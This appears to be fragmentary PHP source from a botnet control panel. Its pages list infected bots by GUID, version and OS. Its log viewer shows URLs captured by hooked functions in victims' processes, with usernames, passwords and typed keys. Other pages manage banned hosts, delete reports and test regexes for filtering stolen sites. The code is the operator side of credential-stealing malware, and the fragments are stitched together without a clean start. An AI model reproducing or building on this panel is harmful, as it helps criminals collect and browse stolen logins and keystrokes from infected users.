exit; } } list($id, $ip, $bot_guid, $bot_version, $local_time, $timezone, $tick_time, $os_version, $language_id, $date_rep) = mysqli_fetch_row($res); $content .= "<table width='430' border='1' cellspacing='0' cellpadding='3' style='border: 1px solid lightgray; font-size: 9px; border-collapse: collapse; background-color: rgb(255, 255, 255);'>"; $content .= "<tr><td width='100px'><b>id</b></td><td>{$id}</td></tr>"; $content .= "<tr><td width='100px'><b>ip</b></td><td>{$ip}</td></tr>"; $content .= "<tr><td width='100px'><b>bot_guid</b></td><td>{$bot_guid}</td></tr>"; $content .= "<tr><td width='100px'><b>bot_version</b></td><td>{$bot_version}</td></tr>"; $content .= "<tr><td width='100px'><b>local_time</b></td><td>{$local_time}</td></tr>"; $timezone = ucs2html($timezone); $content .= "<tr><td width='100px'><b>timezone</b></td><td>{$timezone}</td></tr>"; //list($year, $month, $day, $hour, $minute, $second) = split('[ :\/.-]', $tick_time); //$day = intval($day); //$hour = intval($hour); //$min = intval($minute); //$sec = intval($second); //$hour = ($day - 1) * 24 + $hour; $datestring = gmdate("H:i:s", $tick_time); $content .= "<tr><td width='100px'><b>tick_time</b></td><td>{$datestring}</td></tr>"; $content .= "<tr><td width='100px'><b>os_version</b></td><td>{$os_version}</td></tr>"; $content .= "<tr><td width='100px'><b>language_id</b></td><td>{$language_id}</td></tr>"; $content .= "<tr><td width='100px'><b>date_rep</b></td><td>{$date_rep}</td></tr>"; $content .= "</table>"; db_close($dbase); ?> <?php require_once 'frm_skelet.php'; echo get_skelet('Detail info for selected bot', $content);
} } } } // select * $sql = "SELECT host FROM hostban"; $res = mysqli_query($dbase, $sql); if (!@$res) { writelog("error.log", "Wrong query : \" {$sql} \""); $content .= "<font class='error'>ERROR</font> : Wrong query : {$sql}<br><br>"; break; } $content .= "<form name='frm_hostban' id='frm_hostban'>\n"; $content .= "<textarea name='hosts' style=' border-width: 1px; width: 340px; height: 360px; background-color: #e7f2f6; color: #666666; ' >\n"; while (list($thost) = mysqli_fetch_row($res)) { $content .= "{$thost}\n"; } $content .= "</textarea><br><br>"; $content .= "<input type='button' value='submit' onclick='var pdata = ajax_getInputs(\"frm_hostban\"); ajax_pload(\"mod_hostban_add.php\", pdata, \"div_ajax\"); return false;'>\n"; $content .= "</form>\n"; if ($host === false) { db_close($dbase); echo $content; exit; } break; } db_close($dbase); require_once 'frm_skelet.php'; echo get_skelet('Banned hosts', $content);
// readable stuff $data = str_replace('&', "\n", $data); $tmp = "<center>" . "<table width='730' border='1' cellspacing='0' cellpadding='3' style='border: 1px solid #BBBBBB; font-size: 9px; border-collapse: collapse; background-color: #4992a7;'>" . "<th style=' color: #EEEEEE;'>id</th>" . "<th style=' color: #EEEEEE;'>bot</th>" . "<th style=' color: #EEEEEE;'>bot_guid</th>" . "<th style=' color: #EEEEEE;'>date_rep</th>" . "<th style=' color: #EEEEEE;'>process_name</th>" . "<th style=' color: #EEEEEE;'>hooked_func</th>" . "<tr align='center' valign='middle' style=' background-color: #cce7ef; '>"; $arr = parse_url($url); if ($arr['user'] && $arr['pass']) { $colon = ':'; } if ($arr['user'] || $arr['pass']) { $at_sign = '@'; } if ($arr['query']) { $qmark = '?'; } $ucodebot = urlencode($bot_guid); $tmp .= "<td>{$id}</td>" . "<td><a href='frm_bot.php?guid={$ucodebot}' target='_blank'><img border='0' src='img/info.png'></a></td>" . "<td>{$bot_guid}</td>" . "<td>{$date_rep}</td>" . "<td>{$process_name}</td>" . "<td>{$hooked_func}</td>" . "</tr>" . "<td colspan='10' align='left' valign='middle' style=' background-color: #cce7ef; '>{$arr['scheme']}://<i>{$arr['user']}{$colon}{$arr['pass']}</i>{$at_sign}<b>{$arr['host']}</b>{$arr['path']}{$qmark}{$arr['query']}{$arr['fragment']}</td>" . "</tr>" . "<tr align='center' valign='middle'>" . "<td colspan='10'>"; //$tmp .= "<textarea id='ta' onmouseover='this.style.backgroundColor = \"white\"; this.style.height = this.scrollHeight + \"px\";' onmouseout='this.style.backgroundColor=\"white\"; this.style.height = this.scrollHeight + \"px\";' style=' border-width: 1px; width: 730px; height: 500; background-color: \"white\"; color: #666666; ' readonly >"; $tmp .= "<textarea id='ta' style=' border-width: 1px; width: 730px; height: 500; background-color: \"white\"; color: #666666; ' readonly >"; if (strlen($url) && substr($data, 0, 4) != 'http') { $data = $url . "\n\n" . $data; } $tmp .= $data; // displaying keys too if (strlen($keys) != 0) { $keys = ucs2html($keys); $tmp .= "\n\nkeys: {$keys}"; } $tmp .= "</textarea>" . "</td>" . "</tr>" . "</table>" . "</center>" . "<script language='JavaScript'>var ta = document.getElementById('ta'); ta.style.height = ta.scrollHeight + 10 + \"px\";</script>"; $data = $tmp; require_once 'frm_skelet.php'; echo get_skelet("log({$arr['host']}, {$arr['scheme']}, {$date_rep})", $data, 'div_main'); db_close($dbase);
$content .= "<form id='frm_delinfo' name='frm_delinfo'>\n"; $content .= "<input type='hidden' name='host' value='{$host}'>\n"; $content .= "</font>\n\n"; $tfirst = null; while (list($table) = mysqli_fetch_array($res)) { if (!$tfirst) { $tfirst = $table; } $content .= "<table width='450' border='1' cellspacing='0' cellpadding='3' style='border: 1px solid #BBBBBB; font-size: 9px; border-collapse: collapse; background-color: #376D7C;'>"; $content .= "<th style=' color: #EEEEEE;'>"; $content .= substr($table, 5, 4) . '/' . substr($table, 9, 2) . '/' . substr($table, 11, 2); $content .= '</th>'; $content .= "<tr align='center' valign='middle' style=' background-color: #cce7ef; '>"; $content .= '<td id="sub_div_ajax_del' . $i . '">'; $content .= '<a id="del' . $i . '" href="#null" onclick="delrep_fill(' . $i . ', ' . substr($table, 5, 8) . '); return false;">'; $content .= '<table><tr><td valign="center"><img border="0" src="img/ajax-loader(2).gif" alt="ajax-loader" title="Deleting reports ... please, be cool"></td><td valign="center"></td></tr></table>'; $content .= '</a>'; $content .= '</td>'; $content .= '</tr>'; $content .= "<tr style=' background-color: #e7f2f6; '>"; $content .= "<td></td>"; $content .= '</tr>'; $content .= '</table>'; $i++; } } db_close($dbase); $content .= "<script> delrep_fill(0, '" . substr($tfirst, 5, 8) . "'); </script>"; require_once 'frm_skelet.php'; echo get_skelet('Hosts delete', $content);
<?php require_once 'mod_file.php'; require_once 'mod_dbase.php'; $dbase = db_open($dbase); // select * $sql = "SELECT host FROM hostban"; $res = mysqli_query($dbase, $sql); if (!@$res) { writelog("error.log", "Wrong query : \" {$sql} \""); $content .= "<font class='error'>ERROR</font> : Wrong query : {$sql}<br><br>"; break; } $content .= "<textarea name='hosts' style=' border-width: 1px; width: 340px; height: 360px; background-color: #e7f2f6; color: #666666; ' >\n"; while (list($thost) = mysqli_fetch_row($res)) { $content .= "{$thost}\n"; } $content .= "</textarea>"; db_close($dbase); require_once 'frm_skelet.php'; echo get_skelet('Banned hosts', $content, true);
$script .= "</script>\n"; $script .= "\n"; $script .= "<script type=\"text/javascript\" src=\"js/greybox/AJS.js\"></script>\n"; $script .= "<script type=\"text/javascript\" src=\"js/greybox/AJS_fx.js\"></script>\n"; $script .= "<script type=\"text/javascript\" src=\"js/greybox/gb_scripts.js\"></script>\n"; $script .= "<link href=\"js/greybox/gb_styles.css\" rel=\"stylesheet\" type=\"text/css\" /> \n"; $script .= "<script type=\"text/javascript\"> \n"; $script .= "function onclickBanHost(host) {\n"; $script .= "\thost = document.getElementById('re').value;\n"; $script .= "\thost = prompt('Do you really want to do it ?', host);\n"; $script .= "\tif (!host) return false;\n"; $script .= "\tGB_show('Ban host', '../../mod_hostban_add.php?host=' + host, 470, 550);\n"; $script .= "\treturn false;\n"; $script .= "}\n"; $script .= "</script> \n"; $content .= "{$script}\n"; $content .= "<h1><a href=\"http://www.linuxshare.ru/docs/devel/languages/perlre.html\" target=\"_blank\">PERLRE</a></h1>\n"; $content .= "<hr size='1' color='#CCC'>\n"; $content .= "<form name='frm_perlre' id='frm_perlre'>\n"; $content .= "<table>"; $content .= "<tr><td align='left'><label>Data: </label></td><td><input id='data' name='data' size=60 value='http://www.google.com/q=tada'></td></tr>\n"; $content .= "<tr><td align='left'><label>Data2: </label></td><td><input id='data2' name='data2' size=60 value='http://mail.google.com/l=f****r'></td></tr>\n"; $content .= "<tr><td align='left'><label>RE: </label></td><td><input id='re' name='re' size=60 value='(?:(?!mail\\.).....|^..?)google\\.'></td></tr>\n"; $content .= "<tr><td align='center' colspan='2'><input type='button' value='submit' onclick='xxx(); return false;'> | <input type='button' value='add to banlist' onclick='onclickBanHost(); return false;'></td></tr>\n"; $content .= "</table>"; $content .= "</form>\n"; $content .= "<hr size='1' color='#CCC'>\n"; $content .= "<div id='div_result'></div>"; require_once 'frm_skelet.php'; echo get_skelet('PERLRE', $content);